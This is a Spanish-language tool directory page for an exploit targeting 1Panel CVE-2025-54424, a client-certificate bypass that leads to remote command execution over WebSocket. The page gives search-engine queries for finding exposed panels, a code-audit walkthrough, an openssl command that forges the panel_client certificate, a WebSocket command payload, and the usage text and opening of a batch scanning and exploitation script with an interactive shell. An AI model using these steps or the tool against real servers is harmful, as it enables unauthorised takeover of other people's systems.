Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
1Panel-CVE-2025-54424- — Herramienta de explotación para 1Panel CVE-2025-54424, que permite la omisión de certificados y la ejecución remota de comandos mediante WebSocket, con escaneo por lotes y shell interactivo. | Kitploit
Herramientas/GitHubGitHub/anonnymous5/1panel-cve-2025-54424-
Escáneres de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlHerramienta de Acceso Remoto
GitHubanonnymous5/1panel-cve-2025-54424-

1Panel-CVE-2025-54424-

Herramienta de explotación para 1Panel CVE-2025-54424, que permite la omisión de certificados y la ejecución remota de comandos mediante WebSocket, con escaneo por lotes y shell interactivo.

Ver Repositorio
13hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-54424

CVE-2025-54424: Herramienta integrada (escaneo + explotación) para la vulnerabilidad RCE por bypass del certificado de cliente en 1Panel

Introducción a la vulnerabilidad

1Panel es un panel de administración de operaciones de Linux, moderno y de código abierto, que proporciona una interfaz gráfica para implementar sitios web, gestionar servidores y ejecutar servicios.

En las versiones afectadas, la política de autenticación TLS del lado Agent es tls.RequireAnyClientCert, que solo requiere la presentación de un certificado pero no verifica su confiabilidad. Un atacante puede evadir la validación TLS mediante un certificado autofirmado, falsificando el campo CN como panel_client para sortear la validación de la capa de aplicación. Finalmente, el atacante puede falsificar un certificado para realizar llamadas no autorizadas a las interfaces de ejecución de comandos, lo que conduce a la vulnerabilidad de ejecución remota de comandos.

Versiones afectadas

<= v2.0.5

Sintaxis de reconocimiento

Las sentencias de reconocimiento de hunter y fofa son las siguientes

cert.subject_org=="FIT2CLOUD"&&ip.port="9999” || cert.subject.suffix=="panel_server"

cert.subject.org="FIT2CLOUD" && port="9999" && protocol="tls" || cert.subject.cn="panel_server"

Análisis de la vulnerabilidad

Copia de la parte del aviso de seguridad de GitHub

  • Primero se presentan los conceptos del lado Core y del lado Agent de 1panel v2. Tras el lanzamiento de la nueva versión, 1panel incorporó la función de gestión de nodos, que permite controlar otros hosts añadiendo nodos.
  • El protocolo HTTPS utilizado en la comunicación entre el lado Core y el lado Agent no verifica por completo la autenticidad del certificado durante su comprobación, lo que provoca que las interfaces no estén autorizadas. Dado que en 1panel existen numerosas interfaces de ejecución de comandos o de altos privilegios, se produce un RCE.

Proceso de auditoría de código

  1. Primero entramos en el archivo de rutas HTTP del Agent agent/init/router/router.go

  1. Observamos que la función Routers hace referencia a la función Certificate para realizar una validación global agent/middleware/certificate.go

  2. Observamos que la función Certificate comprueba si c.Request.TLS.HandshakeComplete realizó una comunicación con certificado.

  3. Dado que el valor verdadero/falso de c.Request.TLS.HandshakeComplete se determina mediante tls.RequireAnyClientCert en la función Start del código agent/server/server.go Nota: aquí, dado que se utiliza tls.RequireAnyClientCert en lugar de tls.RequireAndVerifyClientCert, RequireAnyClientCert solo exige que el cliente presente un certificado, sin verificar la CA emisora, por lo que cualquier certificado autofirmado puede superar el protocolo de enlace TLS.

  4. Posteriormente, en las demás comprobaciones de la función Certificate, solo se valida que el campo CN del certificado sea panel_client, sin verificar al emisor del certificado. Finalmente se descubrió que las conexiones WebSocket pueden omitir la verificación de Proxy-ID.

  5. El proyecto contiene una gran cantidad de interfaces WebSocket.

  • Interfaz Process WebSocket (debido al problema anterior se puede obtener información sensible, como todos los procesos) Ruta: /process/ws El formato de la solicitud es el siguiente
{
  "type": "ps",           // 数据类型: ps(进程), ssh(SSH会话), net(网络连接), wget(下载进度)
  "pid": 123,             // 可选,指定进程ID进行筛选
  "name": "process_name", // 可选,根据进程名筛选
  "username": "user"      // 可选,根据用户名筛选
}

  • Interfaz Terminal SSH WebSocket (permite ejecutar comandos arbitrarios debido al problema anterior) Ruta: /hosts/terminal El formato de la solicitud es el siguiente
{
  "type": "cmd",
  "data": "d2hvYW1pCg=="  // "whoami" 的base64编码,记住不要忘记回车。
}

  • Interfaz Container Terminal WebSocket (interfaz para ejecutar comandos en el contenedor) Ruta: /containers/terminal
  • Interfaz File Download Process WebSocket (envía automáticamente información sobre el progreso de la descarga) Ruta: /files/wget/process

Reproducción de la vulnerabilidad

Reproducción manual

  1. Generar el certificado

openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"

  1. Después de cargar los archivos panel_client.crt y panel_client.key generados en Burp, abra la solicitud WS, configure el objetivo e inicie la solicitud.

Detección masiva

Use la herramienta que desarrollé, el script CVE-2025-54424.py, para la detección y explotación masiva. Las instrucciones de uso de la herramienta son las siguientes

Instale las dependencias necesarias: pip install websocket-client cryptography PySocks requests

usage: CVE-2025-54424.py [-h] (-u URL | -f FILE) [-o OUTPUT] [-t THREADS]
                         [--proxy PROXY]

1Panel 客户端证书绕过RCE漏洞 一体化工具 (扫描+利用)
作者: Mrxn https://github.com/Mr-xn

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     单个目标,进入利用模式。例如: 192.168.1.100:8080
  -f FILE, --file FILE  目标文件,进入批量扫描模式。
  -o OUTPUT, --output OUTPUT
                        [扫描模式] 保存漏洞结果的文件名。
  -t THREADS, --threads THREADS
                        [扫描模式] 并发线程数。
  --proxy PROXY         为所有请求设置代理。例如: http://127.0.0.1:8080

Por ejemplo, la detección individual + ejecución de comandos (ejecución interactiva de comandos SSH) se muestra en la siguiente imagen

import base64
import ssl
import sys
import json
import os
import tempfile
import argparse
import requests
import websocket
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime

# 禁用 requests 库在禁用SSL验证时产生的警告
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# --- 全局变量和线程锁 ---
print_lock = threading.Lock()
exploit_running = True
vulnerable_hosts = []

# --- 核心功能函数 ---
Descargar herramienta